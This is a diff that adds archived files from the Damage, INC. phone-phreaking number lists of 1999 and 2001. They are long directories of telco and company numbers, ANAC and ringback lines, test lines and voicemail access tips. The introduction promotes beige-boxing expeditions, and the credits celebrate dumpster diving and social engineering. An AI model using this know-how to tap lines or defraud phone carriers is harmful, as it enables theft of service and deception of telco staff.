Long Distance) +(519) 576-7077 Distributel Communications Ltd. (Flat Rate Long Distance) +(519) 651-2250 Fone Pass (formerly Ad-Tel Communications) +(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance) +1-800-670-2266 AT&T Canada Long Distance. +1-800-700-0017 Glentel Inc. (Long Distance) +1-888-266-1313 WinTel Communications. (Long Distance) +1-888-676-7777 Bell Canada (Dis)Advantage Optimum savings program. +1-888-824-1032 Telelink Canada. (Flat Rate Long Distance) + + +Toronto and Mississauga: + +(416) 240-4955 Rogers AT&T Wireless. +(416) 242-4242 The Canadian Telephone Company. +(416) 255-8000 Watts Communications Ltd. +(416) 292-1010 Toronto Talking Yellow Pages. (local time and temperature) +(416) 345-2770 AT&T Canada Telecommunications Solutions Sales Dept. +(416) 350-1000 Bell Nexxia. +(416) 360-2307 Deutsche Telekom Canada. +(416) 366-FIDO Fido. (Wireless Communications) +(416) 368-0002 Sun Microsystems Sales Office. +(416) 393-3500 TTC Time. (reports EST every 10 seconds) +(416) 412-5000 Bell ActiMedia. +(416) 412-5100 Yellow Pages Info Direct. +(416) 412-5200 Yellow Pages Assistance. +(416) 412-5400 Bell ActiMedia Directory Ordering and Sales. +(416) 412-5600 Bell ActiMedia Directory Delivery Department. +(416) 412-5999 Bell ActiMedia Customer Service. +(416) 425-4500 1st Canadian Telecom. (Toronto Headquarters) +(416) 533-7670 The Local Telephone Company Limited. +(416) 581-0000 Lotus Development Canada. +(416) 590-0202 Bell World. +(416) 601-1200 Metro Access. +(416) 620-2420 Bell ActiMedia. +(416) 674-2233 Bell Mobility. +(416) 733-4032 Telesat Canada. (Satellite Communications) +(416) 756-4900 Nortel Control Center. +(416) 767-7778 The Local Telephone Company Limited. +(416) 777-2600 London Telecom Network. +(416) 777-2881 WinTel Communications. +(416) 860-1828 Hong Kong Telecom Canada. +(416) 862-0705 MCI WorldCom. +(416) 862-1717 Bell Canada Repair. +(416) 924-9511 Distributel Communications Limited. +(905) 238-2349 Panasonic Canada, Inc. Telecommunications. +(905) 264-5560 SCO Canada. +(905) 470-3456 Toshiba Canada. (Markham, ON) +(905) 470-3478 Toshiba Canada. +(905) 477-3047 Telesonic Communications Prepaid Calling Cards. +(905) 477-4344 Borland Canada. +(905) 477-6745 Sun Microsystems of Canada. (Head Office in Markham, ON) +(905) 542-3977 Entourage Technology Solutions. (Authorized Bell Distributor) +(905) 602-5454 Fujitsu Canada. +(905) 629-5000 Centel Communications. (Authorized Nortel Dealer) +(905) 669-8107 Maxxell Canada. +(905) 676-6700 Computer Associates. (Mississauga Office) +(905) 712-4242 Williams Telecommunications Corp. +(905) 795-1111 Canon Canada. +(905) 890-2355 Motorola Cellular. +(905) 890-8100 Oracle Corporation Canada. +(905) 946-0928 Autodesk Canada. +1-800-263-9217 Bell Business Repair. +1-800-268-9322 Bell Voice Message Center. +1-800-287-9334 Canadian Operator Services (Canadian Payphone Corp.) +1-800-465-6887 Lotus Development Corp. Canada. +1-800-519-1900 Corporate Image Marketing. (Toll free vanity numbers) +1-800-827-4890 Globo Communications. (Spanish) +1-877-249-2782 CRTC Client Services. +1-877-666-7297 Canada Payphone Collect Call Services. + + +------------------------------------------------------------------------------- + International Numbers: +------------------------------------------------------------------------------- + +Argentina: + +115 Ringback. +5702 ANAC. + +Argentina Country Direct: + +0800-5-4900 Alemania +0800-2-3200 B‚lgica +0800-5-5500 Brasil +0800-2-1004 Canada +0800-5-5601 Chile (ENTEL) +0800-5-5603 Chile (VTR) +0800-2-5604 Chile (SAT) +0800-5-5700 Colombia +0800-2-4500 Dinamarca +0800-2-1001 EE.UU. (AT&T) +0800-5-1002 EE.UU. (MCI) +0800-5-1003 EE.UU. (SPRINT) +0800-2-3400 Espa¤a +0800-5-3300 Francia +0800-2-3030 Grecia +0800-2-3100 Holanda +0800-2-1809 Is. V¡rgenes +0800-5-3900 Italia +0800-5-3901 Italia (Tarj. Prepaga) +0800-5-3902 Italia (Tarj. Cr‚dito) +0800-2-8100 Jap¢n (KDD) +0800-2-0505 Nicaragua +0800-2-4700 Noruega +0800-5-5950 Paraguay +0800-2-5100 Per£ +0800-5-3510 Portugal +0800-5-4401 Reino Unido (BT) +0800-2-4400 Reino Unido (MERCURY) +0800-5-2809 Rep. Dominicana +0800-5-6500 Singapur +0800-2-4100 Suiza +0800-5-5980 Uruguay +0800-2-5800 Venezuela + + +Russia: + +AT&T Numbers: + ++7 095 9740074 AT&T Tone System (Moscow HQ) ++7 095 7555042 AT&T operator. (English) ++7 095 1555042 AT&T Automated Calling System. ++7 095 7555555 AT&T operator. (Russian) + +Free 800 Services. Moscow Numbers: + +7473320 MCI Operators in California. (Russian) +7473322 Connects to Customer Service in Russian. (English) +7473321 AT&T Operators (New York) +7473324 Sprint Global, Arizona, USA +7473325 Orua, Canada +7473327 National Calling Center, UK +7473329 Japan service +7473356 Sprint Calling Cards. +7473359 France service +7473361 Italian service +7473363 Chili service + +National Russian Numbers: + +8-10 800 4977211 ‘˜€ (AT&T) +8-10 800 4977222 ‘˜€ (MCI) +8-10 800 4977255 ‘˜€ (Sprint) +8-10 800 4977220 ‘˜€ (MCI àãá᪮ï§ëç­ ï á«ã¦¡ ) +8-10 800 4977233 Š ­ ¤  (Teleglobe) +8-10 800 4977266 ‚¥«¨ª®¡à¨â ­¨ï (BT) +8-10 800 4977277 ‚¥«¨ª®¡à¨â ­¨ï (Mercuri) +8-10 800 4977288 ‚¥­£à¨ï +8-10 800 4977181 Ÿ¯®­¨ï (KDD) +8-10 800 4974358 ”¨­«ï­¤¨ï( Telecom Finland) +8-10 800 4977032 ¥«ì£¨ï (Belgacom calling cards) +8-10 800 4977212 ¥«ì£¨ï (Belgacom operator) +8-10 800 4977039 ˆâ «¨ï (Iritel) +8-10 800 4977353 ˆà« ­¤¨ï (Telecom Ireland) +8-10 800 4977156 —¨«¨ +8-10 800 4977165 ‘¨­£ ¯ãà +8-10 800 4977141 ˜¢¥©æ à¨ï. + + +South Africa: + +101999 Toll Free ANAC. + + +United Kingdom: + +100 Operator +175 National test number. (ANAC) +999 Emergency +1234 Talking Clock +192 Directory Enquiries (ie. give name/address, get phone number) + ++44 (0)171 930 4832 Buckingham Palace, London + +0800 100100 Operator/BT Sales +0800 321999 BT Security +0800 696969 HeatBusters, Gas Appliances +0800 89xxxx International Freephone (toll-free, but terminate overseas) + +UK Country Direct: + +0800 890011 USA Direct AT&T +0800 890016 Canada Direct +0800 890027 South Africa Direct +0800 890031 Netherlands Direct +0800 890032 Belgium Direct +0800 890033 France Direct +0800 890034 Spain Direct +0800 890036 Hungary Direct +0800 890038 Yugoslavia Direct +0800 890039 Italy Direct +0800 890042 Czechoslovakia Direct +0800 890043 Austria Direct +0800 890045 Denmark Direct +0800 890046 Sweden Direct +0800 890047 Norway Direct +0800 890049 Germany Direct +0800 890055 Brazil Direct +0800 890056 Chile Direct +0800 890061 Australia Direct +0800 890064 New Zealand Direct +0800 890065 Singapore Direct +0800 890066 Thailand Direct +0800 890081 Japan Direct +0800 890082 Korea Direct +0800 890123 Bermuda Direct +0800 890212 Morocco Direct +0800 890222 USA Direct MCI +0800 890351 Portugal Direct +0800 890353 Eire Direct +0800 890357 Cyprus Direct +0800 890358 Finland Direct +0800 890808 Hawaii Direct +0800 890852 Hong Kong Direct +0800 890877 USA Direct Sprint +0800 890909 BT International +0800 893300 Engineering test line, Hungary +0800 894278 Microtest +0800 894382 Novell Support: DOS7 & Personal Netware +0800 896980 J C Penney USA retailer +0800 897120 Quarterdeck UK +0800 897121 Holiday Inn +0800 897125 Phoenix Datacom +0800 898563 Iomega +0800 898604 Piste Artiste +0800 898888 Sun Express (Netherlands) +0800 899002 National Pen, Manchester +0800 899688 Sprint/Travelex pre-paid phone cards + +Voyager's alt.2600/#Hack FAQ also contains international test numbers that are +not included in this list. + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Final Notes: + +If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List, +discover any dupes, numbers that are no longer in service or ones that have +been misidentified, please notify us in Email at damage_inc@disinfo.net and +report the error. This list is updated and released on a quarterly basis. +So, if you send numbers your alias will be included in the next edition. +Contributions are encouraged and always appreciated. + +Thanks go out to the following people (in no particular order) for their +contributions to this list. It's a large, ongoing project that wouldn't exist +without their support, and we appreciate the efforts that they've made towards +this compilation of numbers. If you contributed in some way but were neglected +to be mentioned, contact Damage, INC. and notify us about the oversight. + +Contributors/Greets: + +THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada, +Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision, +Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y, +Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper, +Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN, +tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes, +not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204), +Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex, +La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng, +Dark Tangent, Jack Phlash, Cyb0rg/ASM, dea)(alm, , roamer1, The Exec, +C5man, Schizophreakic, The Propagandist, XORo, Crazy Horse, Di4BoLiK SLiM, +Grandmaster Ratte', Mogel, Jason Scott, AtomicGurl, ic0n (440), Captain Bizarro, +Aquila, Magma, Phist (905), TipnRinger, Jeff (IT). + +Greets to all of the telco employees that know us and converse with us in a +polite, friendly, intelligent manner. To the few telcos that still have toll +free numbers with an ANAC, thanks for not removing that important feature. + +Special Thanks to: + +All of the places that have easily accessible, unshreded documents, manuals, and +lists of numbers in clean, unmonitored, unlocked, dumpsters. + +All of the people that've been so generous as to readily divulge information +while I was scanning and dialed their number. + +Lax security and people that are easily social engineered. + +All webmasters of quality phreaking/telephony related sites. + +Minor Threat and Mucho Maas for ToneLoc. + +Scavenger for Scavenger-Dialer. + +Everyone else that ever created any useful scan/phreak utilities, or wrote +informative text files on phreaking. + +Voyager (TNO) for creating and maintaining the alt.2600/#Hack FAQ. + +Cult of the Dead Cow (cDc) for providing us with interesting, entertaining +reading material, to peruse through while scanning all these years. Some of +their phreak related t-files also helped inspire us to create the Phreaky Field +NPA Reference, etc. And of course, they've influenced us in other positive +ways as well. + +Hack Canada, Nettwerked, Shao, GHU, Pyrofreak and all the phreaks from coast to +coast that support the Canadian hack/phreak scene. + +RedBoxChiliPepper (Phone Losers of America) for the PLA Telephone Director0y. +It was an inspiration to us. :) + +It was created, scanned, compiled, verified and distributed by phreaks, for +phreaks. And in addition to that, it's damn phreaky. Have phun... and look +for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries. + +- Blackie Lawless says "Y'all better Phear the Beaver ya phreakin' phreaks!" + + Copyright 2001 by Damage, INC. All Rights Reserved. diff --git a/textfiles.com/groups/DAMAGEINC/dam99fal.txt b/textfiles.com/groups/DAMAGEINC/dam99fal.txt new file mode 100644 index 00000000..3f90f5ea --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dam99fal.txt @@ -0,0 +1,1777 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field Phreaking List. + ú Fall 1999 Edition ú + (Released: 11/07/99) + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Introduction: + +This is the third edition of the Damage, INC. Phreaky Field Phreaking List. We +recommend that you print it out and take it with you on beige boxing/junction +boxing expeditions or for use as a reference while at payphones. Hell, just +take it with you wherever you travel. You never know when you're going to need +it. :) This comprehensive list includes many toll free numbers for telcos, +test numbers, conferences, computer companies, carriers, cellular, and other +services, etc. It's not just damn phreaky, it's the phreakiest! + +Disclaimer: + +The Damage, INC. Phreaky Field Phreaking List is for informational purposes +only. We are not responsible for how it is used, including but not restricted +to any fraudulent, illegal acts that may be committed, unauthorized access of +systems, loss/theft of services or any damages that may be caused as a result +of someone else's activities. If/how you use these numbers is entirely your +choice. In summary, you're legally responsible for your own deeds and actions. +Now that the legal shit has been thoroughly covered, here's what you have all +been waiting for... :) + +------------------------------------------------------------------------------- + ANACs/ANIs and Ringbacks: +------------------------------------------------------------------------------- + +(514) 320-0047 Slow ANAC for Montreal, Quebec. +(514) 320-1147 Fast ANAC for Montreal, Quebec. +(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI) +(613) 320-2232 ANI for Ottawa, Ontario. +(954) 780-2411 ANI. + +1-800-346-0152 ANI. +1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers + free 1-800 blocking and ANAC. +1-800-487-9240 ANI (doesn't work from 519) +1-800-514-9939 ANI (doesn't work from 416/519) +1-800-532-7486 ANI (Hit option 1, then option 1 again then listen) +1-800-555-1160 ANI (always busy now...) +1-800-555-1170 ANI (always busy now...) +1-800-569-5699 ANI (press "7*#") +1-800-638-2392 Press "2" for ANI info. +1-800-666-1379 Press "1,3,1" for ANI when the message begins. +1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode. + +320-XXX-XXXX Ringback for Montreal, Quebec. +507-XXX-XXXX Ringback for Alberta. +590-XXX-XXXX Ringback for 204 NPA. +954-780-6321 Ringback for 954 NPA. +954-999-XXXX Ringback for 954 NPA. +999-XXX-XXXX Ringback for 519 NPA. +999-XXX-XXXX Ringback for North Bay, Ontario (705) +999-XXX-XXXX Ringback for Ottawa, Ontario (613) +999-XXX-XXXX Ringback for portions of Toronto, Ontario (416) + + +------------------------------------------------------------------------------- + AT&T: +------------------------------------------------------------------------------- + +1-800-221-0000 AT&T Interactive Advantage Customer Support Line. +1-800-221-7680 AT&T Digital Video Center. +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Custom Care Centre (for long distance service) +1-800-222-1000 AT&T Customer Care Center. +1-800-222-3000 AT&T Customer Service. +1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones. +1-800-222-7956 AT&T Global ISDN Customer Care Center. +1-800-225-5288 (1-800-CALL-ATT) +1-800-225-5856 AT&T's Vendor Agent Program. +1-800-235-4288 AT&T America. +1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet) +1-800-242-6005 AT&T Internet Services. +1-800-243-0506 AT&T Find America Directory Service. +1-800-247-6636 AT&T Wireless Services In-Flight Customer Care. +1-800-248-3632 AT&T's Data Network Business Information Solutions. +1-800-255-1242 AT&T Customer Information Center (Canada) +1-800-258-0123 AT&T Customer Care Center. +1-800-268-5931 AT&T Wireless Service VMB. +1-800-268-5939 AT&T (Operator) +1-800-305-9494 AT&T Wireless (MetroCall) Messaging. +1-800-322-MWBE AT&T Supplier Diversity Program Information Line. +1-800-325-0138 AT&T Small Business Customer Care. +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-342-5288 AT&T Customer Care. +1-800-348-8288 AT&T Shareholder Services. +1-800-351-5855 AT&T Helpdesk. +1-800-387-1026 AT&T Canada Business Sales. +1-800-387-1926 AT&T Canada Long Distance Services. +1-800-4-ONE-RATE AT&T One Rate plan subscriptions. +1-800-400-1447 AT&T WorldNet Service Billing. +1-800-418-8999 AT&T Customer Care Center. (long distance service) +1-800-423-4343 AT&T Universal Card. +1-800-424-6030 AT&T's Matching Gift Processing Center. +1-800-425-5288 AT&T Products and Services. +1-800-426-8686 AT&T Printed Directories. (U.S. only) +1-800-428-8468 AT&T Global Services Center. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-432-6600 AT&T Customer Information Center (USA) +1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only) +1-800-438-3151 AT&T Wireless, Job Line. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-522-2157 AT&T Investigations Department. +1-800-525-7955 AT&T Direct Call Cards. +1-800-528-0465 AT&T CampusWide Access Solutions. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-552-3373 AT&T Wireless Advanced Network Services Support. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-2255 AT&T 1-800 Directory Advertising. +1-800-562-6275 AT&T Message Sender (Send an automated message to any number in + the world with your voice. Accepts calling cards & credit cards) +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-565-4708 AT&T Canada Long Distance Services. +1-800-567-3692 AT&T Canada Long Distance Services. (French) +1-800-567-4672 AT&T Canada Electronic Commerce Services. +1-800-575-5511 AT&T Canada Long Distance Services. +1-800-575-5533 AT&T Canada Residential Sales. (French) +1-800-575-9999 AT&T Canada. +1-800-628-8486 AT&T Language Line Services. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-662-6214 AT&T Calling Card Protection line. +1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-678-7918 AT&T Business Customer Care Center. +1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice) +1-800-682-8786 AT&T Telecommunications Relay (TTY) +1-800-7-HOSTIN AT&T Internet Services. +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-752-0093 AT&T Language Line Services. +1-800-752-6096 AT&T Language Line Customer Service Center. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-807-2466 AT&T Learning Points Program. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-822-9009 AT&T Corporate Security, internal investigations. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-831-5259 AT&T WorldNet Business/Data Services. +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-850-TIES AT&T. Call to setup Easy Reach 800s. +1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-858-9857 AT&T True Rewards (option 1) +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-892-3850 AT&T Wireless Long-Distance Service. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-967-5363 AT&T Worldnet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard) +1-888-288-1233 AT&T Internet Service. +1-888-8METNET MetroNet AT&T Canada. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. +1-888-933-1212 AT&T Cellular phone accessories. (U.S. only) +1-888-ATT-ALL1 AT&T Customer Care Center. +1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ. +1-888-ATT-TRW3 AT&T True Rewards Account questions. + + +------------------------------------------------------------------------------- + Ameritech: +------------------------------------------------------------------------------- + +(314) 444-4444 Ameritech (St. Louis Office) +1-800-221-0994 Ameritech Cellular and Paging. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-475-7449 Ameritech Pay Phone Repair. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-660-3000 Ameritech Small Business Services. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-873-5501 Ameritech's automated billing (RBOC) +1-800-AMERITECH Ameritech. +1-888-AMERITECH Ameritech. + + +------------------------------------------------------------------------------- + BCTel/TELUS: +------------------------------------------------------------------------------- + +1-800-447-2688 BCTel Mobility's EasyTouch Service. +1-800-472-9773 TELUS (Payphone Dept.) +1-800-563-0624 TELUS Fax. +1-800-575-2355 BCTELUS Help Center. +1-800-661-2355 BCTel Mobility Customer Service. +1-800-661-4260 TELUS Advertising. +1-800-663-1011 BCTel's Billing Inquiry System. +1-800-663-1440 BCTel Call Center/Accounts. +1-800-663-2234 BCTel Network Sales. +1-800-663-2455 BCTel Mobility Customer Service Department. +1-800-973-2223 TELUS Directory Delivery Service. (order phone books!) +1-877-344-3330 BCTel Mobility. +1-888-685-2355 BCTel Multiple Option Messaging. +1-888-811-2323 BCTel Customer Service. +1-888-867-7587 (1-888-TMS-PLUS) TELUS. +1-888-905-2284 BCTel Interactive Business Solutions. + + +------------------------------------------------------------------------------- + Bell Atlantic: +------------------------------------------------------------------------------- + +1-800-221-4393 Bell Atlantic VMS. +1-800-225-5400 Bell Atlantic. +1-800-244-2355 Bell Atlantic's Interactive Demo Center. +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-800-297-2355 Bell Atlantic's Major Customer Center. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info) +1-800-416-9639 Bell Atlantic Help Desk. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-538-4747 Bell Atlantic Mobile. +1-800-556-2355 Bell Atlantic Communications. +1-800-631-2355 Bell Atlantic Shareowner Services. +1-800-636-2355 Bell Atlantic Communications. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-652-2355 Bell Atlantic Yellow Pages. +1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department. +1-800-727-2231 Bell Atlantic. +1-800-830-2355 Bell Atlantic Mobile. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-922-0204 Bell Atlantic Mobile. +1-800-934-2255 Bell Atlantic. +1-888-206-2355 Bell Atlantic. +1-888-208-2355 Bell Atlantic. +1-888-219-2355 Bell Atlantic. +1-888-221-2355 Bell Atlantic. +1-888-223-2355 Bell Atlantic. +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID. +1-888-677-2355 Bell Atlantic View at One Support. +1-888-730-2355 Bell Atlantic. +1-888-741-2355 Bell Atlantic. +1-888-743-2355 Bell Atlantic. +1-888-745-2355 Bell Atlantic. +1-888-749-2355 Bell Atlantic. +1-888-751-2355 Bell Atlantic. +1-888-781-2355 Bell Atlantic. +1-888-782-2355 Bell Atlantic. +1-888-969-2355 Bell Atlantic. +1-888-983-2355 Bell Atlantic. +1-888-984-2355 Bell Atlantic. +1-888-985-2355 Bell Atlantic. +1-888-986-2355 Bell Atlantic. +1-888-988-2355 Bell Atlantic. +1-888-989-2355 Bell Atlantic. +1-888-990-2355 Bell Atlantic. +1-888-992-2355 Bell Atlantic. +1-888-993-2355 Bell Atlantic. +1-888-996-2355 Bell Atlantic. +1-888-997-2355 Bell Atlantic. + + +------------------------------------------------------------------------------- + BCE/Bell Canada/ActiMedia/Mobility/Nexxia/Sympatico/etc: +------------------------------------------------------------------------------- + +1-416-555-1313 Bell's local CN/A office for Toronto. +310-2355 Telephone Directory Ordering (free local directories) +310-BELL Bell Canada Customer Services. (toll free) +310-SURF Bell Sympatico. +811 Northwestel Call Centre. (BC, NWT, Yukon) + +1-800-225-5180 Bell Canada Client Service Center. +1-800-238-8636 Bell Labs. +1-800-253-5011 Bell Mobility Paging. +1-800-256-2355 Bell Nexxia. (after hours OcTel VMB) +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-7412 Bell Canada Millennium Help Line. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-265-3076 Tele-Stat Satellite Network Operations Control. +1-800-265-5925 Bell Data & I.X. Voice Repair. +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-0424 Bell Nexxia Customer Care. +1-800-267-1870 Tele-Stat Canada. +1-800-267-2355 Bell Mobility Quebec. +1-800-267-5353 Tele-Direct Atlantic. +1-800-267-6511 IslandTel Special Needs Centre (Tdd) +1-800-267-6574 Bell Canada Datapac Service Center. +1-800-267-7002 Tele-Direct. +1-800-267-7640 Bell Canada's Ident-a-call demonstration line. ("*" to enter VMS) +1-800-267-9556 Bell Canada. +1-800-268-1720 Bell Canada Multimedia. +1-800-268-2323 Bell ActiMedia. +1-800-268-2355 Bell Mobility Ottawa Office. +1-800-268-3550 Bell ActiMedia Internet Services. +1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories) +1-800-268-5933 Bell Canada Quickchange Department. +1-800-268-8531 Bell Data. +1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes) +1-800-268-9107 Bell Canada Customer Care. +1-800-268-9160 Bell Canada Information Service Line. +1-800-270-2355 Business Consulting Group of Bell Canada. +1-800-323-6628 Bell Laboratories. +1-800-331-9948 Bell Canada Relay Service Customer Comment Line. +1-800-339-6359 BCE Investor Relations. (Montreal) +1-800-360-2373 Northern Telephone. +1-800-360-8555 Northern Telephone Limited. +1-800-361-0804 Tele-Stat. +1-800-361-1423 Bell Canada Advantage Conferencing. +1-800-361-3489 Bell Canada Customer Billing Center. +1-800-361-6010 Bell ActiMedia Yellow Pages. +1-800-361-7874 Bell Canada Millennium (Unknown) +1-800-361-8717 Bell Canada Professional Services. (Montreal) +1-800-363-2355 Bell Canada's Total Solution Center for Business. +1-800-363-3781 Bell Mobility Paging. +1-800-363-5001 Bell ActiMedia Yellow Pages. +1-800-363-6522 Stentor's Calling Card Centre. +1-800-363-9612 Bell Technical Services. +1-800-387-4411 Bell Canada's Business Direct Marketing Centre. +1-800-387-4441 Bell Advantage Call Centre Solutions. +1-800-387-5072 Bell Mobility's Activation Department. +1-800-387-5185 Bell Phonecentre Information Line. +1-800-387-9571 Bell Mobility Radio. +1-800-387-9999 Bell Gardium Security Representative. +1-800-439-2355 Direct Bell. (Wireless Communications) +1-800-461-1156 Bell ActiMedia. +1-800-461-1747 Bell Canada Millennium (Voice Test) +1-800-461-1760 Bell Canada Millennium (Unknown) +1-800-461-1879 Bell Canada Millennium (Data Test) +1-800-461-2921 Bell Canada Smart Touch Information Line. +1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct) +1-800-461-7243 Bell ActiMedia. +1-800-463-4778 Bell Canada Professional Services. (Quebec City) +1-800-463-4833 Bell ActiMedia Yellow Pages. +1-800-463-5376 Bell CSR-Quebec (Quebec City) +1-800-465-2355 Bell Mobility. +1-800-465-6960 Bell ActiMedia. +1-800-470-2355 Bell Mobility. +1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center) +1-800-521-2673 Bellcore. +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-555-4999 Bell Canada Residential and Business Service. +1-800-561-0934 BCE Inquiry Line. +1-800-561-2355 Bell Mobility. (French) +1-800-561-4459 NBTEL's NBNet Support line. +1-800-561-6283 NBTEL Residencial Customer Service. +1-800-561-8868 Stentor's Country Direct Information Line. +1-800-561-8888 Stentor's Calling Card Centre. +1-800-563-2900 NewTel Communications. +1-800-563-3794 Bell Mobility (Ottawa Office) +1-800-563-7171 NewTel Communications. +1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel) +1-800-563-8700 NewTel Communications. +1-800-565-1290 Tele-Direct Atlantic. +1-800-565-1570 IslandTel Customer Service. +1-800-565-4287 IslandTel Business Inquiries. +1-800-565-4737 IslandTel Business Office. +1-800-565-6283 NBTEL Customer Service. +1-800-567-2448 Bell Canada Millennium (Test Line) +1-800-567-9633 Bell Canada (I think it's the main switchboard) +1-800-611-6500 Bell Mobility Cellular. +1-800-665-1800 NBTel. +1-800-665-6000 NewTel Express. +1-800-667-0123 Bell Mobility's Automated Express Lane System. +1-800-667-2355 SaskTel Mobility. +1-800-667-3500 SaskTel Business Solutions. +1-800-667-5801 SaskTel International Head Office. +1-800-667-6030 Bell Canada (French) +1-800-667-6283 NBTEL. +1-800-667-6840 SaskTel Mobility Customer Service. +1-800-667-6870 SaskTel Repairs. +1-800-668-0911 BCE Mobile Communications Inc. +1-800-668-2355 Bell Canada. +1-800-668-4862 Bell Canada Millennium (Coin) +1-800-668-6851 Bell Canada Millennium (Alarm) +1-800-668-6878 Bell Direct. (U.S. and Canada) +1-800-668-9090 Bell Information Systems Repair Service. +1-800-668-9608 Bell Canada Switch Control Centre. +1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS) +1-800-668-9877 Tele-Stat. +1-800-722-2300 Nynex President Switchboard. +1-800-724-4443 Bell Sympatico. +1-800-735-3030 Cincinnati Bell Long Distance. +1-800-749-0764 Bell Canada Human Resources. +1-800-749-2538 Bell Canada. (Toronto Office) +1-800-749-3081 Bell Canada Office. +1-800-749-3085 Bell Canada Ontario Control Centre. +1-800-749-3279 Bell Canada Business Sales. +1-800-749-3743 Bell Canada. (Toronto Office) +1-800-749-3745 Bell Canada Ontario Control Centre. +1-800-749-4198 Bell Canada. +1-800-749-4208 Bell Canada Ontario Control Centre. +1-800-749-9362 Bell Canada 